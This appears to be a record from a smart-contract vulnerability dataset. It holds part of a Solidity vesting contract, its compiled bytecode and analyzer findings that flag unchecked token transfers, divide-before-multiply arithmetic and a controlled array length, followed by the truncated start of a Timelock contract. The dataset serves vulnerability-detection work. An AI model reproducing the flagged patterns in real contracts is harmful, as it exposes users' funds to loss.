_token.balanceOf(address(this)).sub(_reserve); } else { return 0; } } /** * @return the amount of reserved tokens. */ function reserved() public view returns (uint256) { return _reserve; } /** * @return delay time (UNIX time). */ function delay() public view returns (uint256) { return _delay; } }
0x6080604052600436106102045760003560e01c8063752bc81a11610118578063a3769ca9116100a0578063deaa59df1161006f578063deaa59df1461083a578063ec8ac4d81461088b578063f2fde38b146108cf578063fc0c546a14610920578063fe60d12c1461097757610204565b8063a3769ca914610758578063a6057fa714610791578063a8d5fd65146107c0578063c2507ac1146107eb57610204565b80638da5cb5b116100e75780638da5cb5b1461060f5780638f32d59b146106665780639456fbcc1461069557806399a4d201146107065780639e3536c61461074157610204565b8063752bc81a146105475780638348198b146105725780638456cb59146105a157806384c4170c146105b857610204565b80634042b66f1161019b57806352d6804d1161016a57806352d6804d146104805780635c975abb146104ab57806369bb4dc2146104da5780636a42b8f814610505578063715018a61461053057610204565b80634042b66f1461038257806340bc617c146103ad5780634634d81c146103c4578063521eb2731461042957610204565b806334fcf437116101d757806334fcf437146102de5780633ccfd60b146103195780633d572107146103305780633f4ba83a1461036b57610204565b80630b98f97514610226578063113d5fb9146102615780632c4e722e146102785780633209e9e6146102a3575b600034111561021b57610216336109a2565b610224565b6102236113aa565b5b005b34801561023257600080fd5b5061025f6004803603602081101561024957600080fd5b81019080803590602001909291905050506115f0565b005b34801561026d57600080fd5b506102766116eb565b005b34801561028457600080fd5b5061028d6117bf565b6040518082815260200191505060405180910390f35b3480156102af57600080fd5b506102dc600480360360208110156102c657600080fd5b81019080803590602001909291905050506117c9565b005b3480156102ea57600080fd5b506103176004803603602081101561030157600080fd5b81019080803590602001909291905050506118c4565b005b34801561032557600080fd5b5061032e6113aa565b005b34801561033c57600080fd5b506103696004803603602081101561035357600080fd5b81019080803590602001909291905050506119bf565b005b34801561037757600080fd5b50610380611a43565b005b34801561038e57600080fd5b50610397611af3565b6040518082815260200191505060405180910390f35b3480156103b957600080fd5b506103c2611afd565b005b3480156103d057600080fd5b50610413600480360360208110156103e757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bf4565b6040518082815260200191505060405180910390f35b34801561043557600080fd5b5061043e61208b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048c57600080fd5b506104956120b5565b6040518082815260200191505060405180910390f35b3480156104b757600080fd5b506104c06120bf565b604051808215151515815260200191505060405180910390f35b3480156104e657600080fd5b506104ef6120d2565b6040518082815260200191505060405180910390f35b34801561051157600080fd5b5061051a6122b4565b6040518082815260200191505060405180910390f35b34801561053c57600080fd5b506105456122be565b005b34801561055357600080fd5b5061055c6123f9565b6040518082815260200191505060405180910390f35b34801561057e57600080fd5b50610587612403565b604051808215151515815260200191505060405180910390f35b3480156105ad57600080fd5b506105b6612416565b005b3480156105c457600080fd5b506105cd6124c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561061b57600080fd5b506106246124f1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561067257600080fd5b5061067b61251b565b604051808215151515815260200191505060405180910390f35b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612573565b005b34801561071257600080fd5b5061073f6004803603602081101561072957600080fd5b8101908080359060200190929190505050612771565b005b34801561074d57600080fd5b5061075661286c565b005b34801561076457600080fd5b5061076d612940565b6040518082600181111561077d57fe5b60ff16815260200191505060405180910390f35b34801561079d57600080fd5b506107a6612953565b604051808215151515815260200191505060405180910390f35b3480156107cc57600080fd5b506107d5612966565b6040518082815260200191505060405180910390f35b3480156107f757600080fd5b506108246004803603602081101561080e57600080fd5b8101908080359060200190929190505050612970565b6040518082815260200191505060405180910390f35b34801561084657600080fd5b506108896004803603602081101561085d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129a8565b005b6108cd600480360360208110156108a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a2565b005b3480156108db57600080fd5b5061091e600480360360208110156108f257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b09565b005b34801561092c57600080fd5b50610935612ce6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561098357600080fd5b5061098c612d10565b6040518082815260200191505060405180910390f35b600d60009054906101000a900460ff16156109bc57600080fd5b60016000808282540192505081905550600080549050600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a75576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f42656e656669636961727920697320746865207a65726f20616464726573730081525060200191505060405180910390fd5b600854341015610aed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f57656920616d6f756e74206973206c657373207468616e206d696e696d756d0081525060200191505060405180910390fd5b600d60019054906101000a900460ff1615610c8b57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630b0cc63f6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6a57600080fd5b505afa158015610b7e573d6000803e3d6000fd5b505050506040513d6020811015610b9457600080fd5b8101908080519060200190929190505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379cf3a99336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c4457600080fd5b505afa158015610c58573d6000803e3d6000fd5b505050506040513d6020811015610c6e57600080fd5b81019080805190602001909291905050501015610c8a57600080fd5b5b60003490506000610c9b82612970565b9050610ca56120d2565b811115610d1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e6f75676820617661696c61626c6520746f6b656e73000000000081525060200191505060405180910390fd5b610d2f82600554612d1a90919063ffffffff16565b600581905550600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015610d9d573d6000803e3d6000fd5b506000600b541415610e9357600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e5257600080fd5b505af1158015610e66573d6000803e3d6000fd5b505050506040513d6020811015610e7c57600080fd5b810190808051906020019092919050505050610e9e565b610e9d8482612da2565b5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166368cc41f8866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610f5557600080fd5b505afa158015610f69573d6000803e3d6000fd5b505050506040513d6020811015610f7f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff161461129f57600180811115610fb757fe5b600d60029054906101000a900460ff166001811115610fd257fe5b141561129a57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166359214765600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166368cc41f8876040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156110b557600080fd5b505afa1580156110c9573d6000803e3d6000fd5b505050506040513d60208110156110df57600080fd5b8101908080519060200190929190505050611119600a5461110b60095487612f3190919063ffffffff16565b612fc090919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561118257600080fd5b505af1158015611196573d6000803e3d6000fd5b50505050600d60039054906101000a900460ff161561129957600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635921476585611217600a5461120960095487612f3190919063ffffffff16565b612fc090919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561128057600080fd5b505af1158015611294573d6000803e3d6000fd5b505050505b5b6112b6565b6014600036905014156112b5576112b4613046565b5b5b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f377aadedb6b2a771959584d10a6a36eccb5f56b4eb3a48525f76108d2660d8d48484600b5460405180848152602001838152602001828152602001935050505060405180910390a3505060005481146113a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b5050565b60006113b533611bf4565b90506000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154111561144b576000600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b6000811161145857600080fd5b42600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561154857600080fd5b505af115801561155c573d6000803e3d6000fd5b505050506040513d602081101561157257600080fd5b8101908080519060200190929190505050506115998160065461334b90919063ffffffff16565b6006819055503373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5826040518082815260200191505060405180910390a250565b6115f861251b565b61166a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60008114156116e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e657720626f6e75732076616c7565206973203000000000000000000000000081525060200191505060405180910390fd5b80600a8190555050565b6116f361251b565b611765576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60011515600d60019054906101000a900460ff16151514156117a1576000600d60016101000a81548160ff0219169083151502179055506117bd565b6001600d60016101000a81548160ff0219169083151502179055505b565b6000600754905090565b6117d161251b565b611843576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60008114156118ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e657720706172616d657465722076616c75652069732030000000000000000081525060200191505060405180910390fd5b8060088190555050565b6118cc61251b565b61193e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60008114156119b5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f4e6577207261746520697320300000000000000000000000000000000000000081525060200191505060405180910390fd5b8060078190555050565b6119c761251b565b611a39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b80600b8190555050565b611a4b61251b565b611abd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600d60009054906101000a900460ff16611ad657600080fd5b6000600d60006101000a81548160ff021916908315150217905550565b6000600554905090565b611b0561251b565b611b77576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600180811115611b8357fe5b600d60029054906101000a900460ff166001811115611b9e57fe5b1415611bcd576000600d60026101000a81548160ff02191690836001811115611bc357fe5b0217905550611bf2565b6001600d60026101000a81548160ff02191690836001811115611bec57fe5b02179055505b565b600080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154905060008090505b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018054905081101561208157600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018181548110611cdc57fe5b906000526020600020906003020160010154421015611e3357611e2a600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018281548110611d4557fe5b906000526020600020906003020160020154611e1c611daf600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101544261334b90919063ffffffff16565b600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018581548110611dfc57fe5b906000526020600020906003020160000154612fc090919063ffffffff16565b612f3190919063ffffffff16565b82019150612074565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018181548110611e8057fe5b906000526020600020906003020160010154600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410156120735761206e600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018281548110611f2b57fe5b906000526020600020906003020160020154612060611ff3600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600c60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018681548110611fd357fe5b90600052602060002090600302016001015461334b90919063ffffffff16565b600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001858154811061204057fe5b906000526020600020906003020160000154612fc090919063ffffffff16565b612f3190919063ffffffff16565b820191505b5b8080600101915050611c42565b5080915050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600854905090565b600d60009054906101000a900460ff1681565b6000600654600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561217657600080fd5b505afa15801561218a573d6000803e3d6000fd5b505050506040513d60208110156121a057600080fd5b810190808051906020019092919050505011156122ac576122a5600654600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561225c57600080fd5b505afa158015612270573d6000803e3d6000fd5b505050506040513d602081101561228657600080fd5b810190808051906020019092919050505061334b90919063ffffffff16565b90506122b1565b600090505b90565b6000600b54905090565b6122c661251b565b612338576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a54905090565b600d60019054906101000a900460ff1681565b61241e61251b565b612490576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600d60009054906101000a900460ff16156124aa57600080fd5b6001600d60006101000a81548160ff021916908315150217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b61257b61251b565b6125ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561266c57600080fd5b505afa158015612680573d6000803e3d6000fd5b505050506040513d602081101561269657600080fd5b810190808051906020019092919050505090508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561273057600080fd5b505af1158015612744573d6000803e3d6000fd5b505050506040513d602081101561275a57600080fd5b810190808051906020019092919050505050505050565b61277961251b565b6127eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000811415612862576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f4e65772073686172652076616c7565206973203000000000000000000000000081525060200191505060405180910390fd5b8060098190555050565b61287461251b565b6128e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b60011515600d60039054906101000a900460ff1615151415612922576000600d60036101000a81548160ff02191690831515021790555061293e565b6001600d60036101000a81548160ff0219169083151502179055505b565b600d60029054906101000a900460ff1681565b600d60039054906101000a900460ff1681565b6000600954905090565b60006129a1670de0b6b3a764000061299360075485612fc090919063ffffffff16565b612f3190919063ffffffff16565b9050919050565b6129b061251b565b612a22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ac5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4e65772077616c6c657420697320746865207a65726f2061646472657373000081525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612b1161251b565b612b83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612c26576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f4e6577206f776e657220697320746865207a65726f206164647265737300000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600654905090565b600080828401905083811015612d98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000612dad83611bf4565b1115612e0c57612dbc82611bf4565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600082825401925050819055505b42600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016040518060600160405280838152602001612ebb600b5442612d1a90919063ffffffff16565b8152602001600b5481525090806001815401808255809150509060018203906000526020600020906003020160009091929091909150600082015181600001556020820151816001015560408201518160020155505050612f2781600654612d1a90919063ffffffff16565b6006819055505050565b6000808211612fa8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060200191505060405180910390fd5b6000828481612fb357fe5b0490508091505092915050565b600080831415612fd35760009050613040565b6000828402905082848281612fe457fe5b041461303b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806133e36021913960400191505060405180910390fd5b809150505b92915050565b60006130966000368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050506133d4565b90503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614613348576000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630b0cc63f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561313557600080fd5b505afa158015613149573d6000803e3d6000fd5b505050506040513d602081101561315f57600080fd5b81019080805190602001909291905050509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636494627560006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156131e857600080fd5b505af11580156131fc573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639350aaeb836040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1580156132a157600080fd5b505af11580156132b5573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166364946275826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561332e57600080fd5b505af1158015613342573d6000803e3d6000fd5b50505050505b50565b6000828211156133c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525060200191505060405180910390fd5b600082840390508091505092915050565b60006014820151905091905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a723058200f7c3bfb758405f3d6eaeb9e0d9b716fdadc070b22cb5a6087e8715ec2139b8c64736f6c634300050a0032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
1,052
0xeb4d27957ee84ee40b21fa57c4e52c52672b9575
// COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol // Copyright 2020 Compound Labs, Inc. // Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: // 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. // 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. pragma solidity 0.6.12; // a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math) library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint256; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint256 indexed newDelay); event CancelTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event ExecuteTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); event QueueTransaction( bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta ); uint256 public constant GRACE_PERIOD = 14 days; uint256 public constant MINIMUM_DELAY = 2 days; uint256 public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint256 public delay; bool public admin_initialized; mapping(bytes32 => bool) public queuedTransactions; constructor(address admin_, uint256 delay_) public { require( delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay." ); require( delay_ <= MAXIMUM_DELAY, "Timelock::constructor: Delay must not exceed maximum delay." ); admin = admin_; delay = delay_; admin_initialized = false; } receive() external payable {} function 